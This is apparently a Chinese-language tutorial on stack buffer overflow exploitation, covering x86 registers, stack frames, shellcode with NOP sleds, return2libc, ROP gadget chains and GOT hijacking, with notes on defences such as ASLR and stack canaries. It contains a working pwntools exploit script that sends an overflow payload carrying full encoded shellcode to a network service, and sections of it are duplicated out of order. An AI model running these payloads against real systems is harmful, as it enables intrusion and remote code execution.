32位x86架構下的寄存器可以被簡單分為通用寄存器和特殊寄存器兩類,通用寄存器在大部分匯編指令下是可以任意使用的(雖然有些指令規定了某些寄存器的特定用途),而特殊寄存器只能被特定的匯編指令使用,不能用來任意存儲數據。
32位x86架構下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆棧指針寄存器(esp、ebp)。
一般寄存器用來存儲運行時數據,是指令最常用到的寄存器,除了存放一般性的數據,每個一般寄存器都有自己較為固定的獨特用途。eax 被稱為累加寄存器(Accumulator),用以進行算數運算和返回函數結果等。ebx 被稱為基址寄存器(Base),在內存尋址時(比如數組運算)用以存放基地址。ecx 被稱為記數寄存器(Counter),用以在循環過程中記數。edx 被稱為數據寄存器(Data),常配合 eax 一起存放運算結果等數據。
索引寄存器通常用於字符串操作中,esi 指向要處理的數據地址(Source Index),edi 指向存放處理結果的數據地址(Destination Index)。
堆棧指針寄存器(esp、ebp)用於保存函數在調用棧中的狀態,上篇已有詳細的介紹。
32位x86架構下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),標志位寄存器(EFLAGS),以及指令指針寄存器(eip)。
現代操作系統內存通常是以分段的形式存放不同類型的信息的。我們在上篇談及的函數調用棧就是分段的一個部分(Stack Segment)。內存分段還包括堆(Heap Segment)、數據段(Data Segment),BSS段,以及代碼段(Code Segment)。代碼段存儲可執行代碼和只讀常量(如常量字符串),屬性可讀可執行,但通常不可寫。數據段存儲已經初始化且初值不為0的全局變量和靜態局部變量,BSS段存儲未初始化或初值為0的全局變量和靜態局部變量,這兩段數據都有可寫的屬性。堆用於存放程序運行中動態分配的內存,例如C語言中的 malloc() 和 free() 函數就是在堆上分配和釋放內存。各段在內存的排列如下圖所示。内存分段的典型布局 :
段地址寄存器就是用來存儲內存分段地址的,其中寄存器 ss 存儲函數調用棧(Stack Segment)的地址,寄存器 cs 存儲代碼段(Code Segment)的地址,寄存器 ds 存儲數據段(Data Segment)的地址,es、fs、gs 是附加的存儲數據段地址的寄存器。
標志位寄存器(EFLAGS)32位中的大部分被用於標志數據或程序的狀態,例如 OF(Overflow Flag)對應數值溢出、IF(Interrupt Flag)對應中斷、ZF(Zero Flag)對應運算結果為0、CF(Carry Flag)對應運算產生進位等等。
指令指針寄存器(eip)存儲下一條運行指令的地址。
--修改返回地址,讓其指向內存中已有的一段指令
根據上面副標題的說明,要完成的任務包括:在內存中確定某段指令的地址,並用其覆蓋返回地址。可是既然可以覆蓋返回地址並定位到內存地址,為什麽不直接用上篇提到的 return2libc 呢?因為有時目標函數在內存內無法找到,有時目標操作並沒有特定的函數可以完美適配。這時就需要在內存中尋找多個指令片段,拼湊出一系列操作來達成目的。假如要執行某段指令(我們將其稱為“gadget”,意為小工具),溢出數據應該以下面的方式構造(padding 長度和內容的確定方式參見上篇):
payload : padding + address of gadget
包含单个 gadget 的溢出数据 :
如果想連續執行若幹段指令,就需要每個 gadget 執行完畢可以將控制權交給下一個 gadget。所以 gadget 的最後一步應該是 RET 指令,這樣程序的控制權(eip)才能得到切換,所以這種技術被稱為返回導向編程( Return Oriented Programming )。要執行多個 gadget,溢出數據應該以下面的方式構造:
payload : padding + address of gadget 1 + address of gadget 2 + ......
address of gadget n
在這樣的構造下,被調用函數返回時會跳轉執行 gadget 1,執行完畢時 gadget 1 的 RET 指令會將此時的棧頂數據(也就是 gadget 2 的地址)彈出至 eip,程序繼續跳轉執行 gadget 2,以此類推。
包含多个 gadget 的溢出数据 :
現在任務可以分解為:針對程序棧溢出所要實現的效果,找到若幹段以 ret 作為結束的指令片段,按照上述的構造將它們的地址填充到溢出數據中。所以我們要解決以下幾個問題。
首先,棧溢出之後要實現什麽效果?
ROP 常見的拼湊效果是實現一次系統調用,Linux系統下對應的匯編指令是 int 0x80。執行這條指令時,被調用函數的編號應存入 eax,調用參數應按順序存入 ebx,ecx,edx,esi,edi 中。例如,編號125對應函數
mprotect (void *addr, size_t len, int prot)
可用該函數將棧的屬性改為可執行,這樣就可以使用 shellcode 了。假如我們想利用系統調用執行這個函數,eax、ebx、ecx、edx 應該分別為“125”、內存棧的分段地址(可以通過調試工具確定)、“0x10000”(需要修改的空間長度,也許需要更長)、“7”(RWX 權限)。
其次,如何尋找對應的指令片段?
有若幹開源工具可以實現搜索以 ret 結尾的指令片段,著名的包括 ROPgadget、rp++、ropeme 等,甚至也可以用 grep 等文本匹配工具在匯編指令中搜索 ret 再進一步篩選。搜索的詳細過程在這里就不再贅述,有興趣的同學可以參考上述工具的說明文檔。
最後,如何傳入系統調用的參數?
對於上面提到的 mprotect 函數,我們需要將參數傳輸至寄存器,所以可以用 pop 指令將棧頂數據彈入寄存器。如果在內存中能找到直接可用的數據,也可以用 mov 指令來進行傳輸,不過寫入數據再 pop 要比先搜索再 mov 來的簡單,對吧?如果要用 pop 指令來傳輸調用參數,就需要在溢出數據內包含這些參數,所以上面的溢出數據格式需要一點修改。對於單個 gadget,pop 所傳輸的數據應該在 gadget 地址之後,如下圖所示( gadget “pop eax; ret;”)。
在調用 mprotect() 為棧開啟可執行權限之後,我們希望執行一段 shellcode,所以要將 shellcode 也加入溢出數據,並將 shellcode 的開始地址加到 int 0x80 的 gadget之後。但確定 shellcode 在內存的確切地址是很困難的事(想起上篇里面艱難試探的過程了嗎?),我們可以使用 push esp 這個 gadget(加入可以找到的話)。
gadget “push esp; ret;”
我們假設現在內存中可以找到如下幾條指令:
pop eax; ret; # pop stack top into eax
pop ebx; ret; # pop stack top into ebx
pop ecx; ret; # pop stack top into ecx
pop edx; ret; # pop stack top into edx
int 0x80; ret; # system call
push esp; ret; # push address of shellcode
對於所有包含 pop 指令的 gadget,在其地址之後都要添加 pop 的傳輸數據,同時在所有 gadget 最後包含一段 shellcode,最終溢出數據結構應該變為如下格式。
payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
包含多個 gadget 的溢出數據(修改後):
此處為了簡單,先假定輸入溢出數據不受“\x00"字符的影響,所以 payload 可以直接包含 “\x7d\x00\x00\x00”(傳給 eax 的參數125)。如果希望實現更為真實的操作,可以用多個 gadget 通過運算得到上述參數。比如可以通過下面三條 gadget 來給 eax 傳遞參數。
pop eax; ret; # pop stack top 0x1111118e into eax
pop ebx; ret; # pop stack top 0x11111111 into ebx
sub eax, ebx; ret; # eax -= ebx
解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來為程序調用棧開啟可執行權限並執行 shellcode。同時,由於 ROP 方法帶來的靈活性,現在不再需要痛苦地試探 shellcode 起始地址了。回顧整個輸入數據,只有棧的分段地址需要獲取確定地址。如果利用 gadget 讀取 ebp 的值再加上某個合適的數值,就可以保證溢出數據都具有可執行權限,這樣就不再需要獲取確切地址,也就具有了繞過內存隨機化的可能。
出於演示的目的,我們假設(簡直是欽點)了所有需要的 gadget 的存在。在實際搜索及拼接 gadget 時,並不會像上面一樣順利,有兩個方面需要注意。
第一,很多時候並不能一次湊齊全部的理想指令片段,這時就要通過數據地址的偏移、寄存器之間的數據傳輸等方法來“曲線救國”。舉個例子,假設找不到下面這條 gadget
pop ebx; ret;
但假如可以找到下面的 gadget
mov ebx, eax; ret;
我們就可以將它和
pop eax; ret;
組合起來實現將數據傳輸給 ebx 的功能。上面提到的用多個 gadget 避免輸入“\x00”也是一個實例應用。
第二,要小心 gadget 是否會破壞前面各個 gadget 已經實現的部分,比如可能修改某個已經寫入數值的寄存器。另外,要特別小心 gadget 對 ebp 和 esp 的操作,因為它們的變化會改變返回地址的位置,進而使後續的 gadget 無法執行。
--修改某個被調用函數的地址,讓其指向另一個函數
根據上面副標題的說明,要完成的任務包括:在內存中修改某個函數的地址,使其指向另一個函數。為了便於理解,不妨假設修改 printf() 函數的地址使其指向 system(),這樣修改之後程序內對 printf() 的調用就執行 system() 函數。要實現這個過程,我們就要弄清楚發生函數調用時程序是如何“找到”被調用函數的。
程序對外部函數的調用需要在生成可執行文件時將外部函數鏈接到程序中,鏈接的方式分為靜態鏈接和動態鏈接。靜態鏈接得到的可執行文件包含外部函數的全部代碼,動態鏈接得到的可執行文件並不包含外部函數的代碼,而是在運行時將動態鏈接庫(若幹外部函數的集合)加載到內存的某個位置,再在發生調用時去鏈接庫定位所需的函數。
可程序是如何在鏈接庫內定位到所需的函數呢?這個過程用到了兩張表--GOT 和 PLT。GOT 全稱是全局偏移量表(Global Offset Table),用來存儲外部函數在內存的確切地址。GOT 存儲在數據段(Data Segment)內,可以在程序運行中被修改。PLT 全稱是程序鏈接表(Procedure Linkage Table),用來存儲外部函數的入口點(entry),換言之程序總會到 PLT 這里尋找外部函數的地址。PLT 存儲在代碼段(Code Segment)內,在運行之前就已經確定並且不會被修改,所以 PLT 並不會知道程序運行時動態鏈接庫被加載的確切位置。那麽 PLT 表內存儲的入口點是什麽呢?就是 GOT 表中對應條目的地址。
PLT 和 GOT 表
等等,我們好像發現了一個不合理的地方,外部函數的內存地址存儲在 GOT 而非 PLT 表內,PLT 存儲的入口點又指向 GOT 的對應條目,那麽程序為什麽選擇 PLT 而非 GOT 作為調用的入口點呢?在程序啟動時確定所有外部函數的內存地址並寫入 GOT 表,之後只使用 GOT 表不是更方便嗎?這樣的設計是為了程序的運行效率。GOT 表的初始值都指向 PLT 表對應條目中的某個片段,這個片段的作用是調用一個函數地址解析函數。當程序需要調用某個外部函數時,首先到 PLT 表內尋找對應的入口點,跳轉到 GOT 表中。如果這是第一次調用這個函數,程序會通過 GOT 表再次跳轉回 PLT 表,運行地址解析程序來確定函數的確切地址,並用其覆蓋掉 GOT 表的初始值,之後再執行函數調用。當再次調用這個函數時,程序仍然首先通過 PLT 表跳轉到 GOT 表,此時 GOT 表已經存有獲取函數的內存地址,所以會直接跳轉到函數所在地址執行函數。整個過程如下面兩張圖所示。
上述實現遵循的是一種被稱為 LAZY 的設計思想,它將需要完成的操作(解析外部函數的內存地址)留到調用實際發生時才進行,而非在程序一開始運行時就解析出全部函數地址。這個過程也啟示了我們如何實現函數的偽裝,那就是到 GOT 表中將函數 A 的地址修改為函數 B 的地址。這樣在後面所有對函數 A 的調用都會執行函數 B。
那麽我們的目標可以分解為如下幾部分:確定函數 A 在 GOT 表中的條目位置,確定函數 B 在內存中的地址,將函數 B 的地址寫入函數 A 在 GOT 表中的條目。
首先,如何確定函數 A 在 GOT 表中的條目位置?
程序調用函數時是通過 PLT 表跳轉到 GOT 表的對應條目,所以可以在函數調用的匯編指令中找到 PLT 表中該函數的入口點位置,從而定位到該函數在 GOT 中的條目。
例如
call 0x08048430 <printf@plt>
就說明 printf 在 PLT 表中的入口點是在 0x08048430,所以 0x08048430 處存儲的就是 GOT 表中 printf 的條目地址。
其次,如何確定函數 B 在內存中的地址?
如果系統開啟了內存布局隨機化,程序每次運行動態鏈接庫的加載位置都是隨機的,就很難通過調試工具直接確定函數的地址。假如函數 B 在棧溢出之前已經被調用過,我們當然可以通過前一個問題的答案來獲得地址。但我們心儀的攻擊函數往往並不滿足被調用過的要求,也就是 GOT 表中並沒有其真實的內存地址。幸運的是,函數在動態鏈接庫內的相對位置是固定的,在動態庫打包生成時就已經確定。所以假如我們知道了函數 A 的運行時地址(讀取 GOT 表內容),也知道函數 A 和函數 B 在動態鏈接庫內的相對位置,就可以推算出函數 B 的運行時地址。
最後,如何實現 GOT 表中數據的修改?
很難找到合適的函數來完成這一任務,不過我們還有強大的 ROP(DIY大法好)。假設我們可以找到以下若幹條 gadget(繼續欽點),就不難改寫 GOT 表中數據,從而實現函數的偽裝。ROP 的具體實現請回看上一章,這里就不再贅述了。
pop eax; ret; # printf@plt -> eax
mov ebx [eax]; ret; # printf@got -> ebx
pop ecx; ret; # addr_diff = system - printf -> ecx
add [ebx] ecx; ret; # printf@got += addr_diff
aaa從修改 GOT 表的過程可以看出,這種方法也可以在一定程度上繞過內存隨機化。
介紹過幾種棧溢出的基礎方法,我們再來補充一下操作系統內有哪些常見的措施可以進行防禦。首先,通常情況下程序在默認編譯設置下都會取消棧上數據的可執行權限,這樣簡單的 shellcode 溢出攻擊就無法實現了。其次,可以在操作系統內開啟內存布局隨機化(ASLR),這樣可以增大確定堆棧內數據和動態庫內函數的內存地址的難度。編譯程序時還可以設置某些編譯選項,使程序在運行時會在函數棧上的 ebp 地址和返回地址之間生成一個特殊的值,這個值被稱為“金絲雀”(關於這個典故,請大家自行谷歌)。這樣一旦發生了棧溢出並覆蓋了返回地址,這個值就會被改寫,從而實現函數棧的越界檢查。最後值得強調的是,盡可能寫出安全可靠的代碼,不給棧溢出提供寫入越界的可能。
https://www.csie.ntu.edu.tw/~sprout/algo2021/homework/hand07.pdf
计算机底层各种寄存器EIP EBP ESP_爱吃牛肉的大老虎的博客-CSDN博客
函数栈EIP、EBP、ESP寄存器的作用(转)
緩衝區溢位攻擊之一(Buffer Overflow)
栈溢出之 shellcode | harpersu00's Blog
手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)
(這篇會融 (抄) 合 (襲) 許多人的網誌,組合成一篇筆者自己比較看得懂的文章)
以下是一個C語言程式:
#include <stdio.h>
int func (int x, int y){
int a = 3;
int b = 5;
int c = 7;
printf("%p %p %p %p %p\n", &x, &y ,&a ,&b, &c);
return 0;
}
int main(){
func(1,2);
return 0;
}
電腦處理的過程如下:
在C語言程序中,參數的壓棧順序是反向的。比如func(a,b,c)。在參數入棧的時候,是:先壓c,再壓b,最後壓a.在取參數的時候,由於棧的先入後出,先取棧頂的a,再取b,最後取c。
如果畫成圖,就會是以下步驟:
而這一連串的步驟,會用到EIP(instruction pointer register)、EBP (base pointer,也是圖中的frame pointer)、以及ESP(stack pointer)等三個重要的暫存器。
EIP指向目前要執行的指令的位址。而EBP(base)到ESP(top)的範圍為目前stack的框架。
什麼是框架(frame)?我們知道stack是一個共用的空間,假設有個function A先使用了一些stack的空間,然後程式流程跳轉到function B,此時B要怎麼確認它可以用stack上的哪些空間而不要覆寫、誤存到其他人的空間呢(例如剛剛A所使用掉的空間)? -答案是設一個指標記住之前stack用到哪裡(也就是B開始使用stack那一刻的stack top),並且把這裡當成新的stack base(EBP),從這裡到stack top(ESP)就明確表達出目前stack使用範圍,這就是目前程序的框架(frame)。
其中ebp跟esp這兩個暫存器,在新增函式時,每一張圖對應的組合語言程式碼如下:
而在函式執行完要return時,對應組合語言程式碼如下:
注意在執行ret指令時,將獲取站內EIP數據,然後棧內的EIP也將出棧。程序跳轉到函數下方。esp回到函數棧頂部,函數調用結束。
而現在用另一個C程式來談談buffer overflow:
#include <stdio.h>
void hacker()
{
printf("No, I'm a hacker!\n");
}
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you're harmless, aren't you?\n", name);
}
int main()
{
nonSecure();
return 0;
}
而其中它的stack示意圖如下: (rbp是64位元的ebp)
執行gets(name)輸入”AAAAAAA…”之後的stack:
name、rbp、ret全部被A給覆寫,然後當nonSecure這個函式返回時,取用到的return address就是”AAAAAAAA”-也就是0x4141414141414141 (ASCII A : 0x41),而程式無法解析這個位址所放的指令,於是就發生Segmentation fault。
第二個例子:
一樣先來一段c code:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buffer[128];
if (argc < 2) {
printf("Please input one argument!\n");
return -1;
}
strcpy(buffer, argv[1]);
printf("argv[1]: %s\n", buffer);
return 0;
}
上述代碼主要是通過 strcpy 函數來實現棧溢出的,strcpy 是在執行拷貝的時候,是從低地址向高地址拷貝,而且是不會比較兩個參數的 size 的,因此我們的 buffer 雖然長度為 128 個字節,但是如果輸入的參數大於這個長度,比如 136 個字節,則會造成剩余的 8 個字節將會覆蓋到 ebp 以及返回地址處,如下圖:
這樣我們就能控制程序跳轉到什麽地方執行。
既然知道原理,那要如何執行惡意代碼,也就是常說的shell code?
在上述代碼中,可以有幾種方式跳轉到 shellcode 執行。
函數調用結束時,如果要讓 eip 指向攻擊指令,需要哪些準備?首先,在退棧過程中,返回地址會被傳給 eip,所以我們只需要讓溢出數據用攻擊指令的地址來覆蓋返回地址就可以了。其次,我們可以在溢出數據內包含一段攻擊指令,也可以在內存其他位置尋找可用的攻擊指令。
函數調用發生時,如果要讓 eip 指向攻擊指令,需要哪些準備?這時,eip 會指向原程序中某個指定的函數,我們沒法通過改寫返回地址來控制了,不過我們可以“偷梁換柱”--將原本指定的函數在調用時替換為其他函數。
技術大概可以總結為(括號內英文是所用技術的簡稱):
修改返回地址,讓其指向溢出數據中的一段指令(shellcode)
修改返回地址,讓其指向內存中已有的某個函數(return2libc)
修改返回地址,讓其指向內存中已有的一段指令(ROP)
修改某個被調用函數的地址,讓其指向另一個函數(hijack GOT)
要完成的任務包括:在溢出數據內包含一段攻擊指令,用攻擊指令的起始地址覆蓋掉返回地址。攻擊指令一般都是用來打開 shell,從而可以獲得當前進程的控制權,所以這類指令片段也被成為“shellcode”。shellcode 可以用匯編語言來寫再轉成對應的機器碼,也可以上網搜索直接覆制粘貼,這里就不再贅述。下面我們先寫出溢出數據的組成,再確定對應的各部分填充進去。
payload : padding1 + address of shellcode + padding2 + shellcode
padding1 處的數據可以隨意填充(注意如果利用字符串程序輸入溢出數據不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of shellcode 是後面 shellcode 起始處的地址,用來覆蓋返回地址。padding2 處的數據也可以隨意填充,長度可以任意。shellcode 應該為十六進制的機器碼格式。
我們可以用調試工具(例如 gdb)查看匯編代碼來確定這個距離,也可以在運行程序時用不斷增加輸入長度的方法來試探(如果返回地址被無效地址例如“AAAA”覆蓋,程序會終止並報錯)。
我們可以在調試工具里查看返回地址的位置(可以查看 ebp 的內容然後再加4(32位機),參見前面關於函數狀態的解釋),可是在調試工具里的這個地址和正常運行時並不一致,這是運行時環境變量等因素有所不同造成的。所以這種情況下我們只能得到大致但不確切的 shellcode 起始地址,解決辦法是在 padding2 里填充若幹長度的 “\x90”。這個機器碼對應的指令是 NOP (No Operation),也就是告訴 CPU 什麽也不做,然後跳到下一條指令。有了這一段 NOP 的填充,只要返回地址能夠命中這一段中的任意位置,都可以無副作用地跳轉到 shellcode 的起始處,所以這種方法被稱為NOP Sled(中文含義是“滑雪橇”)。這樣我們就可以通過增加 NOP 填充來配合試驗 shellcode 起始地址。
操作系統可以將函數調用棧的起始地址設為隨機化(這種技術被稱為內存布局隨機化,即Address Space Layout Randomization (ASLR) ),這樣程序每次運行時函數返回地址會隨機變化。反之如果操作系統關閉了上述的隨機化(這是技術可以生效的前提),那麽程序每次運行時函數返回地址會是相同的,這樣我們可以通過輸入無效的溢出數據來生成core文件,再通過調試工具在core文件中找到返回地址的位置,從而確定 shellcode 的起始地址。
解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。
所以code,具體而言應像是這樣:
from pwn import *
r = remote("192.168.18.187",9999)
command = b"TRUN /.:/"
padding = b'a'*2003
new_eip = p32(0x625011af)
padding2 = p32(0x90909090) * 10
shellcode = (b"\xba\x2f\xdb\x66\x01\xdd\xc5\xd9\x74\x24\xf4\x5d\x33\xc9\xb1"
b"\x52\x31\x55\x12\x03\x55\x12\x83\xc2\x27\x84\xf4\xe0\x30\xcb"
b"\xf7\x18\xc1\xac\x7e\xfd\xf0\xec\xe5\x76\xa2\xdc\x6e\xda\x4f"
b"\x96\x23\xce\xc4\xda\xeb\xe1\x6d\x50\xca\xcc\x6e\xc9\x2e\x4f"
b"\xed\x10\x63\xaf\xcc\xda\x76\xae\x09\x06\x7a\xe2\xc2\x4c\x29"
b"\x12\x66\x18\xf2\x99\x34\x8c\x72\x7e\x8c\xaf\x53\xd1\x86\xe9"
b"\x73\xd0\x4b\x82\x3d\xca\x88\xaf\xf4\x61\x7a\x5b\x07\xa3\xb2"
b"\xa4\xa4\x8a\x7a\x57\xb4\xcb\xbd\x88\xc3\x25\xbe\x35\xd4\xf2"
b"\xbc\xe1\x51\xe0\x67\x61\xc1\xcc\x96\xa6\x94\x87\x95\x03\xd2"
b"\xcf\xb9\x92\x37\x64\xc5\x1f\xb6\xaa\x4f\x5b\x9d\x6e\x0b\x3f"
b"\xbc\x37\xf1\xee\xc1\x27\x5a\x4e\x64\x2c\x77\x9b\x15\x6f\x10"
b"\x68\x14\x8f\xe0\xe6\x2f\xfc\xd2\xa9\x9b\x6a\x5f\x21\x02\x6d"
b"\xa0\x18\xf2\xe1\x5f\xa3\x03\x28\xa4\xf7\x53\x42\x0d\x78\x38"
b"\x92\xb2\xad\xef\xc2\x1c\x1e\x50\xb2\xdc\xce\x38\xd8\xd2\x31"
b"\x58\xe3\x38\x5a\xf3\x1e\xab\xa5\xac\x32\x91\x4e\xaf\x32\xfb"
b"\x4b\x26\xd4\x69\x44\x6f\x4f\x06\xfd\x2a\x1b\xb7\x02\xe1\x66"
b"\xf7\x89\x06\x97\xb6\x79\x62\x8b\x2f\x8a\x39\xf1\xe6\x95\x97"
b"\x9d\x65\x07\x7c\x5d\xe3\x34\x2b\x0a\xa4\x8b\x22\xde\x58\xb5"
b"\x9c\xfc\xa0\x23\xe6\x44\x7f\x90\xe9\x45\xf2\xac\xcd\x55\xca"
b"\x2d\x4a\x01\x82\x7b\x04\xff\x64\xd2\xe6\xa9\x3e\x89\xa0\x3d"
b"\xc6\xe1\x72\x3b\xc7\x2f\x05\xa3\x76\x86\x50\xdc\xb7\x4e\x55"
b"\xa5\xa5\xee\x9a\x7c\x6e\x0e\x79\x54\x9b\xa7\x24\x3d\x26\xaa"
b"\xd6\xe8\x65\xd3\x54\x18\x16\x20\x44\x69\x13\x6c\xc2\x82\x69"
b"\xfd\xa7\xa4\xde\xfe\xed")
payload = command + padding + new_eip + padding2 + shellcode
r.sendline(payload)
方法生效前提:
這種方法生效的一個前提是在函數調用棧上的數據(shellcode)要有可執行的權限(另一個前提是上面提到的關閉內存布局隨機化)。很多時候操作系統會關閉函數調用棧的可執行權限,這樣 shellcode 的方法就失效了,不過我們還可以嘗試使用內存里已有的指令或函數,畢竟這些部分本來就是可執行的,所以不會受上述執行權限的限制。這就包括 return2libc 和 ROP 兩種方法。
解決完上述問題,我們就可以拼接出最終的溢出數據,輸入至程序來執行 shellcode 了。
而這一種方式,實際的例子與操作可以看下一篇。實際打打看就知道怎麼做。
return2libc技術
--修改返回地址,讓其指向內存中已有的某個函數
根據上面副標題的說明,要完成的任務包括:在內存中確定某個函數的地址,並用其覆蓋掉返回地址。由於 libc 動態鏈接庫中的函數被廣泛使用,所以有很大概率可以在內存中找到該動態庫。同時由於該庫包含了一些系統級的函數(例如 system() 等),所以通常使用這些系統級函數來獲得當前進程的控制權。鑒於要執行的函數可能需要參數,比如調用 system() 函數打開 shell 的完整形式為 system(“/bin/sh”) ,所以溢出數據也要包括必要的參數。下面就以執行 system(“/bin/sh”) 為例,先寫出溢出數據的組成,再確定對應的各部分填充進去。
payload: padding1 + address of system() + padding2 + address of “/bin/sh”
return2libc 所用溢出數據的構造如下
padding1 處的數據可以隨意填充(注意不要包含 “\x00” ,否則向程序傳入溢出數據時會造成截斷),長度應該剛好覆蓋函數的基地址。address of system() 是 system() 在內存中的地址,用來覆蓋返回地址。padding2 處的數據長度為4(32位機),對應調用 system() 時的返回地址。因為我們在這里只需要打開 shell 就可以,並不關心從 shell 退出之後的行為,所以 padding2 的內容可以隨意填充。address of “/bin/sh” 是字符串 “/bin/sh” 在內存中的地址,作為傳給 system() 的參數。
根據上面的構造,我們要解決個問題。
解決方法和 shellcode 中提到的答案一樣。
要回答這個問題,就要看看程序是如何調用動態鏈接庫中的函數的。當函數被動態鏈接至程序中,程序在運行時首先確定動態鏈接庫在內存的起始地址,再加上函數在動態庫中的相對偏移量,最終得到函數在內存的絕對地址。說到確定動態庫的內存地址,就要回顧一下 shellcode 中提到的內存布局隨機化(ASLR),這項技術也會將動態庫加載的起始地址做隨機化處理。所以,如果操作系統打開了 ASLR,程序每次運行時動態庫的起始地址都會變化,也就無從確定庫內函數的絕對地址。在 ASLR 被關閉的前提下,我們可以通過調試工具在運行程序過程中直接查看 system() 的地址,也可以查看動態庫在內存的起始地址,再在動態庫內查看函數的相對偏移位置,通過計算得到函數的絕對地址。
最後,“/bin/sh” 的地址在哪里?
可以在動態庫里搜索這個字符串,如果存在,就可以按照動態庫起始地址+相對偏移來確定其絕對地址。如果在動態庫里找不到,可以將這個字符串加到環境變量里,再通過 getenv() 等函數來確定地址。
解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來通過 system() 打開 shell 了。
在上篇的背景知識中,我們提到了函數狀態相關的三個寄存器--esp,ebp,eip。下面的內容會涉及更多的寄存器,所以我們大致介紹下寄存器在執行程序指令中的不同用途。
32位x86架構下的寄存器可以被簡單分為通用寄存器和特殊寄存器兩類,通用寄存器在大部分匯編指令下是可以任意使用的(雖然有些指令規定了某些寄存器的特定用途),而特殊寄存器只能被特定的匯編指令使用,不能用來任意存儲數據。
32位x86架構下的通用寄存器包括一般寄存器(eax、ebx、ecx、edx),索引寄存器(esi、edi),以及堆棧指針寄存器(esp、ebp)。
一般寄存器用來存儲運行時數據,是指令最常用到的寄存器,除了存放一般性的數據,每個一般寄存器都有自己較為固定的獨特用途。eax 被稱為累加寄存器(Accumulator),用以進行算數運算和返回函數結果等。ebx 被稱為基址寄存器(Base),在內存尋址時(比如數組運算)用以存放基地址。ecx 被稱為記數寄存器(Counter),用以在循環過程中記數。edx 被稱為數據寄存器(Data),常配合 eax 一起存放運算結果等數據。
索引寄存器通常用於字符串操作中,esi 指向要處理的數據地址(Source Index),edi 指向存放處理結果的數據地址(Destination Index)。
堆棧指針寄存器(esp、ebp)用於保存函數在調用棧中的狀態,上篇已有詳細的介紹。
32位x86架構下的特殊寄存器包括段地址寄存器(ss、cs、ds、es、fs、gs),標志位寄存器(EFLAGS),以及指令指針寄存器(eip)。
現代操作系統內存通常是以分段的形式存放不同類型的信息的。我們在上篇談及的函數調用棧就是分段的一個部分(Stack Segment)。內存分段還包括堆(Heap Segment)、數據段(Data Segment),BSS段,以及代碼段(Code Segment)。代碼段存儲可執行代碼和只讀常量(如常量字符串),屬性可讀可執行,但通常不可寫。數據段存儲已經初始化且初值不為0的全局變量和靜態局部變量,BSS段存儲未初始化或初值為0的全局變量和靜態局部變量,這兩段數據都有可寫的屬性。堆用於存放程序運行中動態分配的內存,例如C語言中的 malloc() 和 free() 函數就是在堆上分配和釋放內存。各段在內存的排列如下圖所示。内存分段的典型布局 :
段地址寄存器就是用來存儲內存分段地址的,其中寄存器 ss 存儲函數調用棧(Stack Segment)的地址,寄存器 cs 存儲代碼段(Code Segment)的地址,寄存器 ds 存儲數據段(Data Segment)的地址,es、fs、gs 是附加的存儲數據段地址的寄存器。
標志位寄存器(EFLAGS)32位中的大部分被用於標志數據或程序的狀態,例如 OF(Overflow Flag)對應數值溢出、IF(Interrupt Flag)對應中斷、ZF(Zero Flag)對應運算結果為0、CF(Carry Flag)對應運算產生進位等等。
指令指針寄存器(eip)存儲下一條運行指令的地址。
--修改返回地址,讓其指向內存中已有的一段指令
根據上面副標題的說明,要完成的任務包括:在內存中確定某段指令的地址,並用其覆蓋返回地址。可是既然可以覆蓋返回地址並定位到內存地址,為什麽不直接用上篇提到的 return2libc 呢?因為有時目標函數在內存內無法找到,有時目標操作並沒有特定的函數可以完美適配。這時就需要在內存中尋找多個指令片段,拼湊出一系列操作來達成目的。假如要執行某段指令(我們將其稱為“gadget”,意為小工具),溢出數據應該以下面的方式構造(padding 長度和內容的確定方式參見上篇):
payload : padding + address of gadget
包含单个 gadget 的溢出数据 :
如果想連續執行若幹段指令,就需要每個 gadget 執行完畢可以將控制權交給下一個 gadget。所以 gadget 的最後一步應該是 RET 指令,這樣程序的控制權(eip)才能得到切換,所以這種技術被稱為返回導向編程( Return Oriented Programming )。要執行多個 gadget,溢出數據應該以下面的方式構造:
payload : padding + address of gadget 1 + address of gadget 2 + ......
address of gadget n
在這樣的構造下,被調用函數返回時會跳轉執行 gadget 1,執行完畢時 gadget 1 的 RET 指令會將此時的棧頂數據(也就是 gadget 2 的地址)彈出至 eip,程序繼續跳轉執行 gadget 2,以此類推。
包含多个 gadget 的溢出数据 :
現在任務可以分解為:針對程序棧溢出所要實現的效果,找到若幹段以 ret 作為結束的指令片段,按照上述的構造將它們的地址填充到溢出數據中。所以我們要解決以下幾個問題。
首先,棧溢出之後要實現什麽效果?
ROP 常見的拼湊效果是實現一次系統調用,Linux系統下對應的匯編指令是 int 0x80。執行這條指令時,被調用函數的編號應存入 eax,調用參數應按順序存入 ebx,ecx,edx,esi,edi 中。例如,編號125對應函數
mprotect (void *addr, size_t len, int prot)
可用該函數將棧的屬性改為可執行,這樣就可以使用 shellcode 了。假如我們想利用系統調用執行這個函數,eax、ebx、ecx、edx 應該分別為“125”、內存棧的分段地址(可以通過調試工具確定)、“0x10000”(需要修改的空間長度,也許需要更長)、“7”(RWX 權限)。
其次,如何尋找對應的指令片段?
有若幹開源工具可以實現搜索以 ret 結尾的指令片段,著名的包括 ROPgadget、rp++、ropeme 等,甚至也可以用 grep 等文本匹配工具在匯編指令中搜索 ret 再進一步篩選。搜索的詳細過程在這里就不再贅述,有興趣的同學可以參考上述工具的說明文檔。
最後,如何傳入系統調用的參數?
對於上面提到的 mprotect 函數,我們需要將參數傳輸至寄存器,所以可以用 pop 指令將棧頂數據彈入寄存器。如果在內存中能找到直接可用的數據,也可以用 mov 指令來進行傳輸,不過寫入數據再 pop 要比先搜索再 mov 來的簡單,對吧?如果要用 pop 指令來傳輸調用參數,就需要在溢出數據內包含這些參數,所以上面的溢出數據格式需要一點修改。對於單個 gadget,pop 所傳輸的數據應該在 gadget 地址之後,如下圖所示( gadget “pop eax; ret;”)。
